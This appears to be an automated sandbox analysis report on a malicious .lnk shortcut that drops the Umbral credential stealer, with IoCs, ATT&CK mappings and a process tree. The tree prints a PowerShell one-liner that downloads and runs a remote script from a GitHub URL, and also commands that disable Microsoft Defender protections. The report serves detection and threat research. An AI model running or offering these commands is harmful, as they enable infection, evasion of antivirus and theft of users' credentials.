umbral | c30599a71b6129c75b93e7b508cc307928df2677fe1b00357547481662522033

Resubmissions

23/03/2025, 14:55

250323-san3jsyjv6 10

23/03/2025, 14:54

250323-r9t76sxr17 10

23/03/2025, 14:51

250323-r74zlaxrv8 10

Analysis

max time kernel
10s
max time network
10s
platform
windows10-2004_x64
resource
win10v2004-20250314-en
resource tags

arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
submitted
23/03/2025, 14:55

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General

Target

1231321312.lnk
Size

2KB
MD5

a83ed03220cbc79bcbcaae9a57d0b95a
SHA1

062d88505a421b491c8614ccff1d8fdd34453e18
SHA256

c30599a71b6129c75b93e7b508cc307928df2677fe1b00357547481662522033
SHA512

97f7b63aa0435cbe3fb597f3a18941d0697c053ff75ccfdfae55f2e0f70afde85e6ef82e0c90077dcbc933247b8ac568f1fd28a7b3cc1f0eb1af9640f409a349

Score

10^/10

umbral execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 2 IoCs

resource	yara_rule
behavioral1/files/0x000800000002427d-21.dat	family_umbral
behavioral1/memory/5428-30-0x000001E0955D0000-0x000001E095610000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Blocklisted process makes network request 2 IoCs

flow	pid	Process
6	5476	powershell.exe
12	5476	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
5476	powershell.exe
1372	powershell.exe
1160	powershell.exe
4204	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1062200478-553497403-3857448183-1000\Control Panel\International\Geo\Nation	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
5428	Umbral.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service

T1102

flow	ioc
41	discord.com
5	raw.githubusercontent.com
6	raw.githubusercontent.com
40	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
35	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
5228	wmic.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
5476	powershell.exe
5476	powershell.exe
1372	powershell.exe
1372	powershell.exe
1372	powershell.exe
1160	powershell.exe
1160	powershell.exe
1160	powershell.exe
4204	powershell.exe
4204	powershell.exe
4204	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5476	powershell.exe
Token: SeDebugPrivilege	5428	Umbral.exe
Token: SeDebugPrivilege	1372	powershell.exe
Token: SeDebugPrivilege	1160	powershell.exe
Token: SeIncreaseQuotaPrivilege	5524	wmic.exe
Token: SeSecurityPrivilege	5524	wmic.exe
Token: SeTakeOwnershipPrivilege	5524	wmic.exe
Token: SeLoadDriverPrivilege	5524	wmic.exe
Token: SeSystemProfilePrivilege	5524	wmic.exe
Token: SeSystemtimePrivilege	5524	wmic.exe
Token: SeProfSingleProcessPrivilege	5524	wmic.exe
Token: SeIncBasePriorityPrivilege	5524	wmic.exe
Token: SeCreatePagefilePrivilege	5524	wmic.exe
Token: SeBackupPrivilege	5524	wmic.exe
Token: SeRestorePrivilege	5524	wmic.exe
Token: SeShutdownPrivilege	5524	wmic.exe
Token: SeDebugPrivilege	5524	wmic.exe
Token: SeSystemEnvironmentPrivilege	5524	wmic.exe
Token: SeRemoteShutdownPrivilege	5524	wmic.exe
Token: SeUndockPrivilege	5524	wmic.exe
Token: SeManageVolumePrivilege	5524	wmic.exe
Token: 33	5524	wmic.exe
Token: 34	5524	wmic.exe
Token: 35	5524	wmic.exe
Token: 36	5524	wmic.exe
Token: SeIncreaseQuotaPrivilege	5524	wmic.exe
Token: SeSecurityPrivilege	5524	wmic.exe
Token: SeTakeOwnershipPrivilege	5524	wmic.exe
Token: SeLoadDriverPrivilege	5524	wmic.exe
Token: SeSystemProfilePrivilege	5524	wmic.exe
Token: SeSystemtimePrivilege	5524	wmic.exe
Token: SeProfSingleProcessPrivilege	5524	wmic.exe
Token: SeIncBasePriorityPrivilege	5524	wmic.exe
Token: SeCreatePagefilePrivilege	5524	wmic.exe
Token: SeBackupPrivilege	5524	wmic.exe
Token: SeRestorePrivilege	5524	wmic.exe
Token: SeShutdownPrivilege	5524	wmic.exe
Token: SeDebugPrivilege	5524	wmic.exe
Token: SeSystemEnvironmentPrivilege	5524	wmic.exe
Token: SeRemoteShutdownPrivilege	5524	wmic.exe
Token: SeUndockPrivilege	5524	wmic.exe
Token: SeManageVolumePrivilege	5524	wmic.exe
Token: 33	5524	wmic.exe
Token: 34	5524	wmic.exe
Token: 35	5524	wmic.exe
Token: 36	5524	wmic.exe
Token: SeIncreaseQuotaPrivilege	1396	wmic.exe
Token: SeSecurityPrivilege	1396	wmic.exe
Token: SeTakeOwnershipPrivilege	1396	wmic.exe
Token: SeLoadDriverPrivilege	1396	wmic.exe
Token: SeSystemProfilePrivilege	1396	wmic.exe
Token: SeSystemtimePrivilege	1396	wmic.exe
Token: SeProfSingleProcessPrivilege	1396	wmic.exe
Token: SeIncBasePriorityPrivilege	1396	wmic.exe
Token: SeCreatePagefilePrivilege	1396	wmic.exe
Token: SeBackupPrivilege	1396	wmic.exe
Token: SeRestorePrivilege	1396	wmic.exe
Token: SeShutdownPrivilege	1396	wmic.exe
Token: SeDebugPrivilege	1396	wmic.exe
Token: SeSystemEnvironmentPrivilege	1396	wmic.exe
Token: SeRemoteShutdownPrivilege	1396	wmic.exe
Token: SeUndockPrivilege	1396	wmic.exe
Token: SeManageVolumePrivilege	1396	wmic.exe
Token: 33	1396	wmic.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 4924 wrote to memory of 5476	4924	cmd.exe	88
PID 4924 wrote to memory of 5476	4924	cmd.exe	88
PID 5476 wrote to memory of 5428	5476	powershell.exe	97
PID 5476 wrote to memory of 5428	5476	powershell.exe	97
PID 5428 wrote to memory of 1372	5428	Umbral.exe	100
PID 5428 wrote to memory of 1372	5428	Umbral.exe	100
PID 5428 wrote to memory of 1160	5428	Umbral.exe	102
PID 5428 wrote to memory of 1160	5428	Umbral.exe	102
PID 5428 wrote to memory of 5524	5428	Umbral.exe	104
PID 5428 wrote to memory of 5524	5428	Umbral.exe	104
PID 5428 wrote to memory of 1396	5428	Umbral.exe	106
PID 5428 wrote to memory of 1396	5428	Umbral.exe	106
PID 5428 wrote to memory of 5404	5428	Umbral.exe	108
PID 5428 wrote to memory of 5404	5428	Umbral.exe	108
PID 5428 wrote to memory of 4204	5428	Umbral.exe	110
PID 5428 wrote to memory of 4204	5428	Umbral.exe	110
PID 5428 wrote to memory of 5228	5428	Umbral.exe	112
PID 5428 wrote to memory of 5228	5428	Umbral.exe	112

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\1231321312.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4924
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Invoke-Expression (Invoke-WebRequest -Uri 'https://raw.githubusercontent.com/sigmanip/reallogs123fr/refs/heads/main/download_and_run.ps1' -UseBasicParsing).Content"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5476
- - C:\Users\Admin\AppData\Local\Temp\Umbral.exe
    "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:5428
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1372
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1160
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" os get Caption
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5524
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" computersystem get totalphysicalmemory
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1396
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      4⤵
      PID:5404
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:4204
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic" path win32_VideoController get name
      4⤵
      Detects videocard installed
      PID:5228

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
556084f2c6d459c116a69d6fedcc4105

SHA1
633e89b9a1e77942d822d14de6708430a3944dbc

SHA256
88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

SHA512
0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
d0744ae10dfb4e478d9126b3bcaed1f8

SHA1
ef7dc64d087ab242fbe4bd699f77c2ca46eedf3e

SHA256
10ee655a08c2e704dc1f6840997a80e50ffedc19a35a13009f3c62223e7b28af

SHA512
3ae25ee6fd4b7810f85cdd0fb81da1a34c481be82bd908abcb022fc8f24392342637670dd01b0e84e933e96e2cecfd1fd27b76ac3502c08f44f9f342d987d8e4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
2c1a3a6f455a6fe61abc847cb464fb63

SHA1
a40a850408ffcb6d524ff723b637f8817b034d9c

SHA256
61fd62153ebeaba4ee60d920b536320cffde754e25626ccb0ea65061050a7d63

SHA512
15e32523649f2bb53d7e576fc97682427ba14765bbe36ce07aede0a1aeb1a1f150cf4566cdf28049abcf8149616f4874fa6a41e2206aded818aec8ffbdf755b9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
74a6b79d36b4aae8b027a218bc6e1af7

SHA1
0350e46c1df6934903c4820a00b0bc4721779e5f

SHA256
60c64f6803d7ad1408d0a8628100470859b16ef332d5f1bd8bb2debe51251d04

SHA512
60e71435a9a23f4c144d641844f4182ddc9aa4ccd3e99232149a187112dce96458aab9587e9fea46f5dc5a52f5ca758969a04657a2b5b10241d3e4554f7c85e0

Download Submit
C:\Users\Admin\AppData\Local\Temp\Umbral.exe

Filesize
227KB

MD5
68b35208a6ccc5cf6cfa41f86712e7ab

SHA1
34c735c3cc8fd7f9d225cd7323e5632aa772f465

SHA256
4a7c61f2655323ab50ae5d82063c96f5f8bad0ea39c0e6895b6354668b425279

SHA512
f05d7f10ee0a9ebef78696c86ec8f973242aafba3004cd6ee753b8ca44916b898befcca907b27ec711db60bb5141dc57cf36a00545cf4253136e1ecb63194f3f

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_v2yxq1l2.wz5.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/5428-30-0x000001E0955D0000-0x000001E095610000-memory.dmp

Filesize
256KB

Download
memory/5428-55-0x000001E0AFA80000-0x000001E0AFAD0000-memory.dmp

Filesize
320KB

Download
memory/5428-56-0x000001E0AFDC0000-0x000001E0AFE36000-memory.dmp

Filesize
472KB

Download
memory/5428-57-0x000001E0AFA30000-0x000001E0AFA4E000-memory.dmp

Filesize
120KB

Download
memory/5428-65-0x000001E0AFD40000-0x000001E0AFD52000-memory.dmp

Filesize
72KB

Download
memory/5428-64-0x000001E0AFA60000-0x000001E0AFA6A000-memory.dmp

Filesize
40KB

Download
memory/5476-16-0x00007FFA2ECD0000-0x00007FFA2F791000-memory.dmp

Filesize
10.8MB

Download
memory/5476-2-0x00007FFA2ECD3000-0x00007FFA2ECD5000-memory.dmp

Filesize
8KB

Download
memory/5476-31-0x00007FFA2ECD0000-0x00007FFA2F791000-memory.dmp

Filesize
10.8MB

Download
memory/5476-15-0x00007FFA2ECD0000-0x00007FFA2F791000-memory.dmp

Filesize
10.8MB

Download
memory/5476-14-0x00007FFA2ECD0000-0x00007FFA2F791000-memory.dmp

Filesize
10.8MB

Download
memory/5476-13-0x00007FFA2ECD0000-0x00007FFA2F791000-memory.dmp

Filesize
10.8MB

Download
memory/5476-3-0x00000197F9170000-0x00000197F9192000-memory.dmp

Filesize
136KB

Download